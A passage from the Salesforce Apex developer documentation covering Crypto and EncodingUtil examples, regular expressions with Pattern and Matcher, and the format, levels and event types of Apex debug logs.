        // The date format is yyyy-MM-dd'T'HH:mm:ss.SSS'Z'
        DateTime d = System.now();
        String timestamp = '' + d.year() + '-' +
            d.month() + '-' +
            d.day() + '\T\' +
            d.hour() + ':' +
            d.minute() + ':' +
            d.second() + '.' +
            d.millisecond() + '\Z\';
        String timeFormat = d.formatGmt(timestamp);

        String urlEncodedTimestamp = EncodingUtil.urlEncode(timestamp, 'UTF-8');
        String action = 'UrlInfo';
        String inputStr = action + timeFormat;
        String algorithmName = 'HMacSHA1';
        Blob mac = Crypto.generateMac(algorithmName, Blob.valueOf(inputStr),
                                     Blob.valueOf('your_signing_key'));
        String macUrl = EncodingUtil.urlEncode(EncodingUtil.base64Encode(mac), 'UTF-8');

        String urlToTest = 'amazon.com';
        String version = '2005-07-11';
        String endpoint = 'http://awis.amazonaws.com/';
        String accessKey = 'your_key';

        HttpRequest req = new HttpRequest();
        req.setEndpoint(endpoint +
            '?AWSAccessKeyId=' + accessKey +
```

```

        '&Action=' + action +
        '&ResponseGroup=Rank&Version=' + version +
        '&Timestamp=' + urlEncodedTimestamp +
        '&Url=' + urlToTest +
        '&Signature=' + macUrl);

req.setMethod('GET');
Http http = new Http();
try {
    HttpResponse res = http.send(req);
    System.debug('STATUS: '+res.getStatus());
    System.debug('STATUS_CODE: '+res.getStatusCode());
    System.debug('BODY: '+res.getBody());
} catch (System.CalloutException e) {
    System.debug('ERROR: '+ e);
}
}
}

```

Example Encrypting and Decrypting

This example uses the `encryptWithManagedIV` and `decryptWithManagedIV` methods and the `generateAesKey` method of the `Crypto` class.

```

// Use generateAesKey to generate the private key
Blob cryptoKey = Crypto.generateAesKey(256);

// Generate the data to be encrypted.
Blob data = Blob.valueOf('Test data to encrypted');

// Encrypt the data and have Salesforce generate the initialization vector
Blob encryptedData = Crypto.encryptWithManagedIV('AES256', cryptoKey, data);

// Decrypt the data
Blob decryptedData = Crypto.decryptWithManagedIV('AES256', cryptoKey, encryptedData);

```

This example shows how to write a unit test for the `encryptWithManagedIV` and `decryptWithManagedIV` `Crypto` methods.

```

@isTest
private class CryptoTest {
    static testMethod void testValidDecryption() {

        // Use generateAesKey to generate the private key
        Blob key = Crypto.generateAesKey(128);
        // Generate the data to be encrypted.
        Blob data = Blob.valueOf('Test data');
        // Generate an encrypted form of the data using base64 encoding
        String b64Data = EncodingUtil.base64Encode(data);
        // Encrypt and decrypt the data
        Blob encryptedData = Crypto.encryptWithManagedIV('AES128', key, data);
        Blob decryptedData = Crypto.decryptWithManagedIV('AES128', key, encryptedData);
        String b64Decrypted = EncodingUtil.base64Encode(decryptedData);
        // Verify that the strings still match
        System.assertEquals(b64Data, b64Decrypted);
    }
}

```

```

    }
    static testMethod void testInvalidDecryption() {
        // Verify that you must use the same key size for encrypting data
        // Generate two private keys, using different key sizes
        Blob keyOne = Crypto.generateAesKey(128);
        Blob keyTwo = Crypto.generateAesKey(256);
        // Generate the data to be encrypted.
        Blob data = Blob.valueOf('Test data');
        // Encrypt the data using the first key
        Blob encryptedData = Crypto.encryptWithManagedIV('AES128', keyOne, data);
        try {
            // Try decrypting the data using the second key
            Crypto.decryptWithManagedIV('AES256', keyTwo, encryptedData);
            System.assert(false);
        } catch (SecurityException e) {
            System.assertEquals('Given final block not properly padded', e.getMessage());
        }
    }
}

```

SEE ALSO:

[Apex Reference Guide: Crypto Class](#)

[Salesforce Help: Strengthen Your Data's Security with Shield Platform Encryption](#)

[Apex Reference Guide: EncodingUtil Class](#)

Encoding Your Data

You can encode and decode URLs and convert strings to hexadecimal format by using the methods provided by the `EncodingUtil` class.

This example shows how to URL encode a timestamp value in UTF-8 by calling `urlEncode`.

```

DateTime d = System.now();
String timestamp = ''+ d.year() + '-' +
    d.month() + '-' +
    d.day() + '\T\' +
    d.hour() + ':' +
    d.minute() + ':' +
    d.second() + '.' +
    d.millisecond() + '\Z\';
System.debug(timestamp);
String urlEncodedTimestamp = EncodingUtil.urlEncode(timestamp, 'UTF-8');
System.debug(urlEncodedTimestamp);

```

This next example shows how to use `convertToHex` to compute a client response for HTTP Digest Authentication (RFC2617).

```

@isTest
private class SampleTest {
    static testMethod void testConvertToHex() {
        String myData = 'A Test String';
        Blob hash = Crypto.generateDigest('SHA1', Blob.valueOf(myData));
        String hexDigest = EncodingUtil.convertToHex(hash);
    }
}

```

```

        System.debug(hexDigest);
    }
}

```

SEE ALSO:

[Apex Reference Guide: EncodingUtil Class](#)

Using Patterns and Matchers

Apex provides patterns and matchers that enable you to search text using regular expressions.

A pattern is a compiled representation of a regular expression. Patterns are used by matchers to perform match operations on a character string.


A *regular expression* is a string that is used to match another string, using a specific syntax. Apex supports the use of regular expressions through its *Pattern* and *Matcher* classes.



Note: In Apex, Patterns and Matchers, as well as regular expressions, are based on their counterparts in Java. See <http://java.sun.com/j2se/1.5.0/docs/api/index.html?java/util/regex/Pattern.html>.

Many Matcher objects can share the same Pattern object, as shown in the following illustration:

Many Matcher objects can be created from the same Pattern object



Regular expressions in Apex follow the standard syntax for regular expressions used in Java. Any Java-based regular expression strings can be easily imported into your Apex code.



Note: Salesforce limits the number of times an input sequence for a regular expression can be accessed to 1,000,000 times. If you reach that limit, you receive a runtime error.

All regular expressions are specified as strings. Most regular expressions are first compiled into a Pattern object: only the String `split` method takes a regular expression that isn't compiled.

Generally, after you compile a regular expression into a Pattern object, you only use the Pattern object once to create a Matcher object. All further actions are then performed using the Matcher object. For example:

```

// First, instantiate a new Pattern object "MyPattern"
Pattern MyPattern = Pattern.compile('a*b');

```

```
// Then instantiate a new Matcher object "MyMatcher"
Matcher MyMatcher = MyPattern.matcher('aaaaab');

// You can use the system static method assert to verify the match
System.assert(MyMatcher.matches());
```

If you are only going to use a regular expression once, use the `Pattern` class `matches` method to compile the expression and match a string against it in a single invocation. For example, the following is equivalent to the code above:

```
Boolean Test = Pattern.matches('a*b', 'aaaaab');
```

- [Using Regions](#)
- [Using Match Operations](#)
- [Using Bounds](#)
- [Understanding Capturing Groups](#)
- [Pattern and Matcher Example](#)

Using Regions

A `Matcher` object finds matches in a subset of its input string called a *region*. The default region for a `Matcher` object is always the entirety of the input string. However, you can change the start and end points of a region by using the `region` method, and you can query the region's end points by using the `regionStart` and `regionEnd` methods.

The `region` method requires both a start and an end value. The following table provides examples of how to set one value without setting the other.

Start of the Region	End of the Region	Code Example
Specify explicitly	Leave unchanged	<code>MyMatcher.region(start, MyMatcher.regionEnd());</code>
Leave unchanged	Specify explicitly	<code>MyMatcher.region(MyMatcher.regionStart(), end);</code>
Reset to the default	Specify explicitly	<code>MyMatcher.region(0, end);</code>

Using Match Operations

A *Matcher* object performs match operations on a character sequence by interpreting a *Pattern*.

A `Matcher` object is instantiated from a `Pattern` by the `Pattern`'s `matcher` method. Once created, a `Matcher` object can be used to perform the following types of match operations:

- Match the `Matcher` object's entire input string against the pattern using the `matches` method
- Match the `Matcher` object's input string against the pattern, starting at the beginning but without matching the entire region, using the `lookingAt` method
- Scan the `Matcher` object's input string for the next substring that matches the pattern using the `find` method

Each of these methods returns a `Boolean` indicating success or failure.

After you use any of these methods, you can find out more information about the previous match, that is, what was found, by using the following `Matcher` class methods:

- `end`: Once a match is made, this method returns the position in the match string after the last character that was matched.
- `start`: Once a match is made, this method returns the position in the string of the first character that was matched.
- `group`: Once a match is made, this method returns the subsequence that was matched.

Using Bounds

By default, a region is delimited by *anchoring bounds*, which means that the line anchors (such as `^` or `$`) match at the region boundaries, even if the region boundaries have been moved from the start and end of the input string. You can specify whether a region uses anchoring bounds with the `useAnchoringBounds` method. By default, a region always uses anchoring bounds. If you set `useAnchoringBounds` to `false`, the line anchors match only the true ends of the input string.

By default, all text located outside of a region is not searched, that is, the region has *opaque bounds*. However, using *transparent bounds* it is possible to search the text outside of a region. Transparent bounds are only used when a region no longer contains the entire input string. You can specify which type of bounds a region has by using the `useTransparentBounds` method.

Suppose you were searching the following string, and your region was only the word "STRING":

```
This is a concatenated STRING of cats and dogs.
```

If you searched for the word "cat", you wouldn't receive a match unless you had transparent bounds set.

Understanding Capturing Groups

During a matching operation, each substring of the input string that matches the pattern is saved. These matching substrings are called *capturing groups*.

Capturing groups are numbered by counting their opening parentheses from left to right. For example, in the regular expression string `( (A) (B (C) ) )`, there are four capturing groups:

1. `( (A) (B (C) ) )`
2. `(A)`
3. `(B (C) )`
4. `(C)`

Group zero always stands for the entire expression.

The captured input associated with a group is always the substring of the group most recently matched, that is, that was returned by one of the `Matcher` class match operations.

If a group is evaluated a second time using one of the match operations, its previously captured value, if any, is retained if the second evaluation fails.

Pattern and Matcher Example

The `Matcher` class `end` method returns the position in the match string after the last character that was matched. You would use this when you are parsing a string and want to do additional work with it after you have found a match, such as find the next match.

In regular expression syntax, `?` means match once or not at all, and `+` means match 1 or more times.

In the following example, the string passed in with the `Matcher` object matches the pattern since `(a(b)?)` matches the string `'ab'` - `'a'` followed by `'b'` once. It then matches the last `'a'` - `'a'` followed by `'b'` not at all.

```
pattern myPattern = pattern.compile(' (a(b)?)+' );
matcher myMatcher = myPattern.matcher('aba');
System.assert(myMatcher.matches() && myMatcher.hitEnd());

// We have two groups: group 0 is always the whole pattern, and group 1 contains
// the substring that most recently matched--in this case, 'a'.
// So the following is true:

System.assert(myMatcher.groupCount() == 2 &&
    myMatcher.group(0) == 'aba' &&
    myMatcher.group(1) == 'a');

// Since group 0 refers to the whole pattern, the following is true:

System.assert(myMatcher.end() == myMatcher.end(0));

// Since the offset after the last character matched is returned by end,
// and since both groups used the last input letter, that offset is 3
// Remember the offset starts its count at 0. So the following is also true:

System.assert(myMatcher.end() == 3 &&
    myMatcher.end(0) == 3 &&
    myMatcher.end(1) == 3);
```

In the following example, email addresses are normalized and duplicates are reported if there is a different top-level domain name or subdomain for similar email addresses. For example, `john@fairway.smithco` is normalized to `john@smithco`.

```
class normalizeEmailAddresses{

    public void hasDuplicatesByDomain(Lead[] leads) {
        // This pattern reduces the email address to 'john@smithco'
        // from 'john@*.smithco.com' or 'john@smithco.*'
        Pattern emailPattern = Pattern.compile(' (?<=@) ((?![\\w]+\\.\\. [\\w]+$)
            [\\w]+\\.\\. ) | (\\. [\\w]+$) ');

        // Define a set for emailkey to lead:
        Map<String,Lead> leadMap = new Map<String,Lead>();
        for(Lead lead:leads) {
            // Ignore leads with a null email
            if(lead.Email != null) {
                // Generate the key using the regular expression
                String emailKey = emailPattern.matcher(lead.Email).replaceAll('');

                // Look for duplicates in the batch
                if(leadMap.containsKey(emailKey))
                    lead.email.addError('Duplicate found in batch');
                else {
                    // Keep the key in the duplicate key custom field
                    lead.Duplicate_Key__c = emailKey;
                    leadMap.put(emailKey, lead);
                }
            }
        }
    }
}
```



```

        // Now search the database looking for duplicates
        for(Lead[] leadsCheck:[SELECT Id, duplicate_key__c FROM Lead WHERE
        duplicate_key__c IN :leadMap.keySet()]) {
        for(Lead lead:leadsCheck) {
        // If there's a duplicate, add the error.
            if(leadMap.containsKey(lead.Duplicate_Key__c))
                leadMap.get(lead.Duplicate_Key__c).email.addError('Duplicate found

                                in salesforce(Id: ' + lead.Id + ')');

        }
    }
}

```

SEE ALSO:[Apex Reference Guide: Pattern Class](#)[Apex Reference Guide: Matcher Class](#)

Debugging, Testing, and Deploying Apex

Develop your Apex code in a sandbox and debug it with the Developer Console and debug logs. Unit-test your code, then distribute it to customers using packages.

[Debugging Apex](#)

Apex provides debugging support. You can debug your Apex code using the Developer Console and debug logs.

[Testing Apex](#)

Apex provides a testing framework that allows you to write unit tests, run your tests, check test results, and have code coverage results.

[Deploying Apex](#)

You can't develop Apex in your Salesforce production org. Your development work is done in a sandbox, in a scratch org, or in a Developer Edition org.

[Apex in Managed Packages](#)

Learn how to develop, distribute, and use managed Apex. Apex in managed packages can behave differently than Apex in unmanaged packages or Apex deployed directly to an org. Managed package developers and subscribers must understand these differences so that they can safely evolve their packages and integrations.

Debugging Apex

Apex provides debugging support. You can debug your Apex code using the Developer Console and debug logs.

To aid debugging in your code, Apex supports exception statements and custom exceptions. Also, Apex sends emails to developers for unhandled exceptions.

1. [Debug Log](#)

2. Exceptions in Apex

Exceptions note errors and other events that disrupt the normal flow of code execution. `throw` statements are used to generate exceptions, while `try`, `catch`, and `finally` statements are used to gracefully recover from exceptions.

Debug Log

A debug log can record database operations, system processes, and errors that occur when executing a transaction or running unit tests. Debug logs can contain information about:

- Database changes
- HTTP callouts
- Apex errors
- Resources used by Apex
- Automated workflow processes, such as:
 - Workflow rules
 - Assignment rules
 - Approval processes
 - Validation rules



Note: The debug log doesn't include information from actions triggered by time-based workflows. It also doesn't include information from standard or custom controllers used in Visualforce email templates.

You can retain and manage debug logs for specific users, including yourself, and for classes and triggers. Setting class and trigger trace flags doesn't cause logs to be generated or saved. Class and trigger trace flags override other logging levels, including logging levels set by user trace flags, but they don't cause logging to occur. If logging is enabled when classes or triggers execute, logs are generated at the time of execution.

To view a debug log from Setup, enter *Debug Logs* in the **Quick Find** box, then select **Debug Logs**. Then click **View** next to the debug log that you want to examine. Click **Download** to download the debug log as a log file.

Debug Log Limits

Debug logs have the following limits.

- Each debug log must be 20 MB or smaller. Debug logs that are larger than 20 MB are reduced in size by removing older log lines, such as log lines for earlier `System.debug` statements. The log lines can be removed from any location, not just the start of the debug log.
 - System debug logs are retained for 24 hours. Monitoring debug logs are retained for seven days.
 - If you generate more than 1,000 MB of debug logs in a 15-minute window, your trace flags are disabled. We send an email to the users who last modified the trace flags, informing them that they can re-enable the trace flag in 15 minutes.
-  **Warning:** If the debug log trace flag is enabled on a frequently accessed Apex class or for a user executing requests often, the request can result in failure, regardless of the time window and the size of the debug logs.
- When your org accumulates more than 1,000 MB of debug logs, we prevent users in the org from adding or editing trace flags. To add or edit trace flags so that you can generate more logs after you reach the limit, delete some debug logs.

Inspecting the Debug Log Sections

After you generate a debug log, the type and amount of information listed depends on the filter values you set for the user. However, the format for a debug log is always the same.

 **Note:** Session IDs are replaced with "SESSION_ID_REMOVED" in Apex debug logs

A debug log has the following sections.

Header

The header contains the following information.

- The version of the API used during the transaction.
- The log category and level used to generate the log. For example:

The following is an example of a header.

```
67.0
APEX_CODE,DEBUG;APEX_PROFILING,INFO;CALLOUT,INFO;DB,INFO;SYSTEM,DEBUG;VALIDATION,INFO;VISUALFORCE,INFO;
WORKFLOW,INFO
```

In this example, the API version is 67.0, and the following debug log categories and levels have been set.

Apex Code	DEBUG
Apex Profiling	INFO
Callout	INFO
Database	INFO
System	DEBUG
Validation	INFO
Visualforce	INFO
Workflow	INFO

 **Warning:** If the Apex Code log level is set to FINEST, the debug log includes details of all Apex variable assignments. Ensure that the Apex Code being traced doesn't handle sensitive data. Before enabling FINEST log level, be sure to understand the level of sensitive data your organization's Apex handles. Be careful with processes such as community users self-registration where user passwords can be assigned to an Apex string variable.

Execution Units

An execution unit is equivalent to a transaction. It contains everything that occurred within the transaction. `EXECUTION_STARTED` and `EXECUTION_FINISHED` delimit an execution unit.

Code Units

A code unit is a discrete unit of work within a transaction. For example, a trigger is one unit of code, as is a `webservice` method or a validation rule.

 **Note:** A class isn't a discrete unit of code.

CODE_UNIT_STARTED and CODE_UNIT_FINISHED delimit units of code. Units of work can embed other units of work. For example:

```
EXECUTION_STARTED
CODE_UNIT_STARTED|[EXTERNAL]execute_anonymous_apex
CODE_UNIT_STARTED|[EXTERNAL]MyTrigger on Account trigger event BeforeInsert for
[new]|__sfdc_trigger/MyTrigger
CODE_UNIT_FINISHED <-- The trigger ends
CODE_UNIT_FINISHED <-- The executeAnonymous ends
EXECUTION_FINISHED
```

Units of code include, but aren't limited to, the following:

- Triggers
- Workflow invocations and time-based workflow
- Validation rules
- Approval processes
- Apex lead convert
- `@future` method invocations
- Web service invocations
- `executeAnonymous` calls
- Visualforce property access on Apex controllers
- Visualforce actions on Apex controllers
- Execution of the batch Apex `start` and `finish` methods, and each execution of the `execute` method
- Execution of the Apex `System.Schedule execute` method
- Incoming email handling

Log Lines

Log lines are included inside units of code and indicate which code or rules are being executed. Log lines can also be messages written to the debug log.

Log lines are made up of a set of fields, delimited by a pipe (|). The format is:

- *timestamp*: Consists of the time when the event occurred and a value between parentheses. The time is in the user's time zone and in the format `HH:mm:ss.SSS`. The value in parentheses represents the time elapsed in nanoseconds since the start of the request. The elapsed time value is excluded from logs reviewed in the Developer Console when you use the Execution Log view. However, you can see the elapsed time when you use the Raw Log view. To open the Raw Log view, from the Developer Console's Logs tab, right-click the name of a log and select **Open Raw Log**.
- *event identifier*: Specifies the event that triggered the debug log entry (such as `SAVEPOINT_RESET` or `VALIDATION_RULE`).

Also includes additional information logged with that event, such as the method name or the line and character number where the code was executed. If a line number can't be located, `[EXTERNAL]` is logged instead. For example, `[EXTERNAL]` is logged for built-in Apex classes or code that's in a managed package.

For some events (`CODE_UNIT_STARTED`, `CODE_UNIT_FINISHED`, `VF_APEX_CALL_START`, `VF_APEX_CALL_END`, `CONSTRUCTOR_ENTRY`, and `CONSTRUCTOR_EXIT`), the end of the event identifier includes a pipe (|) followed by a typeRef for an Apex class or trigger.

For a trigger, the typeRef begins with the SFDC trigger prefix `__sfdc_trigger/`. For example, `__sfdc_trigger/YourTriggerName` or `__sfdc_trigger/YourNamespace/YourTriggerName`.

For a class, the typeRef uses the format `YourClass, YourClass$YourInnerClass,, or YourNamespace/YourClass$YourInnerClass`.

More Log Data

In addition, the log contains the following information.

- Cumulative resource usage is logged at the end of many code units. Among these code units are triggers, `executeAnonymous`, batch Apex message processing, `@future` methods, Apex test methods, Apex web service methods, and Apex lead convert.
- Cumulative profiling information is logged once at the end of the transaction and contains information about DML invocations, expensive queries, and so on. “Expensive” queries use resources heavily.
- Heap usage is accurately reported in the debug log and an exception is thrown whenever an Apex Heap Size error occurs. At other times, the heap size shown in the debug log is the largest heap size that was calculated during the transaction. To reduce the overhead on small transactions, minimal heap usage doesn’t warrant an accurate calculation and is reported as 0(zero).

The following is an example debug log.

```
37.0 APEX_CODE, FINEST; APEX_PROFILING, INFO; CALLOUT, INFO; DB, INFO; SYSTEM, DEBUG;
  VALIDATION, INFO; VISUALFORCE, INFO; WORKFLOW, INFO
Execute Anonymous: System.debug('Hello World!');
16:06:58.18 (18043585) |USER_INFO| [EXTERNAL] |005D0000001bYPN|devuser@example.org|
  Pacific Standard Time|GMT-08:00
16:06:58.18 (18348659) |EXECUTION_STARTED
16:06:58.18 (18383790) |CODE_UNIT_STARTED| [EXTERNAL] |execute_anonymous_apex
16:06:58.18 (23822880) |HEAP_ALLOCATE| [72] |Bytes:3
16:06:58.18 (24271272) |HEAP_ALLOCATE| [77] |Bytes:152
16:06:58.18 (24691098) |HEAP_ALLOCATE| [342] |Bytes:408
16:06:58.18 (25306695) |HEAP_ALLOCATE| [355] |Bytes:408
16:06:58.18 (25787912) |HEAP_ALLOCATE| [467] |Bytes:48
16:06:58.18 (26415871) |HEAP_ALLOCATE| [139] |Bytes:6
16:06:58.18 (26979574) |HEAP_ALLOCATE| [EXTERNAL] |Bytes:1
16:06:58.18 (27384663) |STATEMENT_EXECUTE| [1]
16:06:58.18 (27414067) |STATEMENT_EXECUTE| [1]
16:06:58.18 (27458836) |HEAP_ALLOCATE| [1] |Bytes:12
16:06:58.18 (27612700) |HEAP_ALLOCATE| [50] |Bytes:5
16:06:58.18 (27768171) |HEAP_ALLOCATE| [56] |Bytes:5
16:06:58.18 (27877126) |HEAP_ALLOCATE| [64] |Bytes:7
16:06:58.18 (49244886) |USER_DEBUG| [1] |DEBUG|Hello World!
16:06:58.49 (49590539) |CUMULATIVE_LIMIT_USAGE
16:06:58.49 (49590539) |LIMIT_USAGE_FOR_NS| (default) |
  Number of SOQL queries: 0 out of 100
  Number of query rows: 0 out of 50000
  Number of SOSL queries: 0 out of 20
  Number of DML statements: 0 out of 150
  Number of DML rows: 0 out of 10000
  Maximum CPU time: 0 out of 10000
  Maximum heap size: 0 out of 6000000
  Number of callouts: 0 out of 100
  Number of Email Invocations: 0 out of 10
  Number of future calls: 0 out of 50
  Number of queueable jobs added to the queue: 0 out of 50
  Number of Mobile Apex push calls: 0 out of 10

16:06:58.49 (49590539) |CUMULATIVE_LIMIT_USAGE_END

16:06:58.18 (52417923) |CODE_UNIT_FINISHED|execute_anonymous_apex
16:06:58.18 (54114689) |EXECUTION_FINISHED
```

Setting Debug Log Filters for Apex Classes and Triggers

To debug complex Apex logic, you can set Apex class and trigger trace flags, also known as debug log filters. For example, you can raise the log verbosity for a given class while turning off logging for other classes or triggers. These trace flags have the debug log type `CLASS_TRACING` and override the debug log levels of the `USER_DEBUG` and `DEVELOPER_LOG` trace flags.

For an explanation and an example of how Apex class and trigger trace flags work, see [Debug Log Filtering for Apex Classes and Apex Triggers](#) in *Salesforce Help*.

For concrete instructions about how to configure debug log filters, see [Set Up Apex Class and Trigger Trace Flags](#) in *Salesforce Help*.

[Working with Logs in the Developer Console](#)

Use the Logs tab in the Developer Console to open debug logs.

[Debugging Apex API Calls](#)

[Debug Log Order of Precedence](#)

Which events are logged depends on various factors. These factors include your trace flags, the default logging levels, your API header, user-based system log enablement, and the log levels set by your entry points.

SEE ALSO:

[Salesforce Help: Set Up Debug Logging](#)

[Salesforce Help: View Debug Logs](#)

[Salesforce Help: Delete Debug Logs](#)

Working with Logs in the Developer Console

Use the Logs tab in the Developer Console to open debug logs.

Logs open in Log Inspector. Log Inspector is a context-sensitive execution viewer in the Developer Console. It shows the source of an operation, what triggered the operation, and what occurred next. Use this tool to inspect debug logs that include database events, Apex processing, workflow, and validation logic.

To learn more about working with logs in the Developer Console, see *Log Inspector* in the Salesforce online help.

When using the Developer Console or monitoring a debug log, you can specify the level of information that gets included in the log.

Log category

The type of information logged, such as information from Apex or workflow rules.

Log level

The amount of information logged.

Event type

The combination of log category and log level that specify which events get logged. Each event can log additional information, such as the line and character number where the event started, fields associated with the event, and duration of the event.

Debug Log Categories

Each debug level includes a debug log level for each of these log categories. The amount of information logged for each category depends on the log level.

Log Category	Description
Database	Includes information about database activity, including every data manipulation language (DML) statement or inline SOQL or SOSL query.
Database Access	Logs rules and policy information for objects accessed from the UI, which can be used to determine why an object isn't accessible.
Workflow	Includes information for workflow rules, flows, and processes, such as the rule name and the actions taken.
NBA	Includes information about Einstein Next Best Action activity, including strategy execution details from Strategy Builder.
Validation	Includes information about validation rules, such as the name of the rule and whether the rule evaluated true or false.
Callout	Includes the request-response XML that the server is sending and receiving from an external web service. Useful when debugging issues related to using Lightning Platform web service API calls or troubleshooting user access to external objects via Salesforce Connect.
Apex Code	Includes information about Apex code. Can include information such as log messages generated by DML statements, inline SOQL or SOSL queries, the start and completion of any triggers, and the start and completion of any test method.
Apex Profiling	Includes cumulative profiling information, such as the limits for your namespace and the number of emails sent.
Visualforce	Includes information about Visualforce events, including serialization and deserialization of the view state or the evaluation of a formula field in a Visualforce page.
System	Includes information about calls to all system methods such as the <code>System.debug</code> method.

Debug Log Levels

Each debug level includes one of these log levels for each log category. The levels are listed from lowest to highest. Specific events are logged based on the combination of category and levels. Most events start being logged at the INFO level. The level is cumulative, that is, if you select FINE, the log also includes all events logged at the DEBUG, INFO, WARN, and ERROR levels.



Note: Not all levels are available for all categories. Only the levels that correspond to one or more events are available.


- NONE
- ERROR
- WARN
- INFO
- DEBUG
- FINE
- FINER
- FINEST

- Important:** Before running a deployment, verify that the Apex Code log level isn't set to FINEST. Otherwise, the deployment is likely to take longer than expected. If the Developer Console is open, the log levels in the Developer Console affect all logs, including logs created during a deployment.

Debug Event Types

This example shows what is written to the debug log. The event is `USER_DEBUG`. The format is *timestamp | event identifier*. This example shows a debug log line.

Debug Log Line Example



- timestamp*: Consists of the time when the event occurred and a value between parentheses. The time is in the user's time zone and in the format *HH:mm:ss.SSS*. The value in parentheses represents the time elapsed in nanoseconds since the start of the request. The elapsed time value is excluded from logs reviewed in the Developer Console when you use the Execution Log view. However, you can see the elapsed time when you use the Raw Log view. To open the Raw Log view, from the Developer Console's Logs tab, right-click the name of a log and select **Open Raw Log**.
- event identifier*: Specifies the event that triggered the debug log entry, such as `SAVEPOINT_RESET` or `VALIDATION_RULE`. Also includes additional information logged with that event, such as the method name or the line and character number where the code was executed. If a line number can't be located, `[EXTERNAL]` is logged instead. For example, `[EXTERNAL]` is logged for built-in Apex classes or code that's in a managed package.

For some events, such as `CODE_UNIT_STARTED`, `CODE_UNIT_FINISHED`, `VF_APEX_CALL_START`, `VF_APEX_CALL_END`, `CONSTRUCTOR_ENTRY`, and `CONSTRUCTOR_EXIT`, the end of the event identifier includes a pipe (`|`) followed by a typeRef for an Apex class or trigger.

For a trigger, the typeRef begins with the SFDC trigger prefix `__sfdc_trigger/`. For example, `__sfdc_trigger/YourTriggerName` or `__sfdc_trigger/YourNamespace/YourTriggerName`.

For a class, the typeRef uses the format `YourClass, YourClass$YourInnerClass`, or `YourNamespace/YourClass$YourInnerClass`.

In this example, the event identifier consists of:

- Event name:

USER_DEBUG

- Line number of the event in the code:

[2]

- Logging level the `System.Debug` method was set to:

DEBUG

- User-supplied string for the `System.Debug` method:

Hello world!

This code snippet triggers this example log line.

Debug Log Line Code Snippet

```
1  @isTest
2  private class TestHandleProductPriceChange {
3  static testMethod void testPriceChange() {
4  Invoice_Statement__c invoice = new Invoice_Statement__c(status__c = 'Negotiating');
5  insert invoice;
6  }
```

This log line is recorded when the test reaches line 5 in the code.

15:51:01.071 (55856000) |DML_BEGIN| [5] |Op:Insert|Type:Invoice_Statement__c|Rows:1

In this example, the event identifier consists of:

- Event name:

DML_BEGIN

- Line number of the event in the code:

[5]

- DML operation type—Insert:

Op:Insert

- Object name:

Type:Invoice_Statement__c

- Number of rows passed into the DML operation:

Rows:1

These event types are logged. The table lists which fields or other information are logged with each event, and which combination of log level and category causes an event to be logged.

Event Name	Fields or Information Logged with Event	Category Logged	Level Logged
BULK_HEAP_ALLOCATE	Number of bytes allocated	Apex Code	FINEST
CALLOUT_REQUEST	Line number and request headers	Callout	INFO and above
CALLOUT_REQUEST	External endpoint and method	Callout	INFO and above

Event Name	Fields or Information Logged with Event	Category Logged	Level Logged
(External object access via cross-org and OData adapters for Salesforce Connect)			
CALLOUT_RESPONSE	Line number and response body	Callout	INFO and above
CALLOUT_RESPONSE (External object access via cross-org and OData adapters for Salesforce Connect)	Status and status code	Callout	INFO and above
CODE_UNIT_FINISHED	Line number, code unit name, such as <code>MyTrigger on Account trigger event BeforeInsert for [new]</code> , and: - For Apex methods, the namespace (if applicable), class name, and method name; for example, <code>YourNamespace.YourClass.yourMethod()</code> or <code>YourClass.yourMethod()</code> - For Apex triggers, a typeRef; for example, <code>__sfdc_trigger/YourNamespace.YourTrigger</code> or <code>__sfdc_trigger/YourTrigger</code>	Apex Code	ERROR and above
CODE_UNIT_STARTED	Line number, code unit name, such as <code>MyTrigger on Account trigger event BeforeInsert for [new]</code> , and: - For Apex methods, the namespace (if applicable), class name, and method name; for example, <code>YourNamespace.YourClass.yourMethod()</code> or <code>YourClass.yourMethod()</code> - For Apex triggers, a typeRef; for example, <code>__sfdc_trigger/YourTrigger</code>	Apex Code	ERROR and above

Event Name	Fields or Information Logged with Event	Category Logged	Level Logged
CONSTRUCTOR_ENTRY	Line number, Apex class ID, the string <code><init>()</code> with the types of parameters (if any) between the parentheses, and a typeRef; for example, <code>YourClass</code> or <code>YourClass>YourInnerClass</code>	Apex Code	FINE and above
CONSTRUCTOR_EXIT	Line number, the string <code><init>()</code> with the types of parameters (if any) between the parentheses, and a typeRef; for example, <code>YourClass</code> or <code>YourClass>YourInnerClass</code>	Apex Code	FINE and above
CUMULATIVE_LIMIT_USAGE	None	Apex Profiling	INFO and above
CUMULATIVE_LIMIT_USAGE_END	None	Apex Profiling	INFO and above
CUMULATIVE_PROFILING	None	Apex Profiling	FINE and above
CUMULATIVE_PROFILING_BEGIN	None	Apex Profiling	FINE and above
CUMULATIVE_PROFILING_END	None	Apex Profiling	FINE and above
CURSOR_CREATE_BEGIN	Line number and SOQL query This event occurs when you call <code>Database.getCursor()</code> or <code>Database.getPaginationCursor()</code> .	DB	INFO and above
CURSOR_CREATE_END	Line number, query ID, and number of rows in the result set This event occurs when a cursor or pagination cursor is created.	DB	INFO and above
CURSOR_FETCH	Line number, query ID, cursor offset position, and number of rows fetched This event occurs when you call <code>Cursor.fetch()</code> .	DB	INFO and above
CURSOR_FETCH_PAGE	Line number, query ID, cursor offset position, and number of rows on the current page	DB	INFO and above

Event Name	Fields or Information Logged with Event	Category Logged	Level Logged
	This event occurs when you call PaginationCursor.fetchPage() .		
DATA_ACCESS_EVALUATION	Request and Response for the data access request. Used regardless of the data space or policy being accessed.	Data Access	FINE
DML_BEGIN	Line number, operation (such as Insert or Update), record name or type, and number of rows passed into DML operation	DB	INFO and above
DML_END	Line number	DB	INFO and above
EMAIL_QUEUE	Line number	Apex Code	INFO and above
ENTERING_MANAGED_PKG	Package namespace	Apex Code	FINE and above
EVENT_SERVICE_PUB_BEGIN	Event Type	Workflow	INFO and above
EVENT_SERVICE_PUB_DETAIL	Subscription IDs, ID of the user who published the event, and event message data	Workflow	FINER and above
EVENT_SERVICE_PUB_END	Event Type	Workflow	INFO and above
EVENT_SERVICE_SUB_BEGIN	Event type and action (subscribe or unsubscribe)	Workflow	INFO and above
EVENT_SERVICE_SUB_DETAIL	ID of the subscription, ID of the subscription instance, reference data (such as process API name), ID of the user who activated or deactivated the subscription, and event message data	Workflow	FINER and above
EVENT_SERVICE_SUB_END	Event type and action (subscribe or unsubscribe)	Workflow	INFO and above
EXCEPTION_THROWN	Line number, exception type, and message	Apex Code	INFO and above
EXECUTION_FINISHED	None	Apex Code	ERROR and above

Event Name	Fields or Information Logged with Event	Category Logged	Level Logged
EXECUTION_STARTED	None	Apex Code	ERROR and above
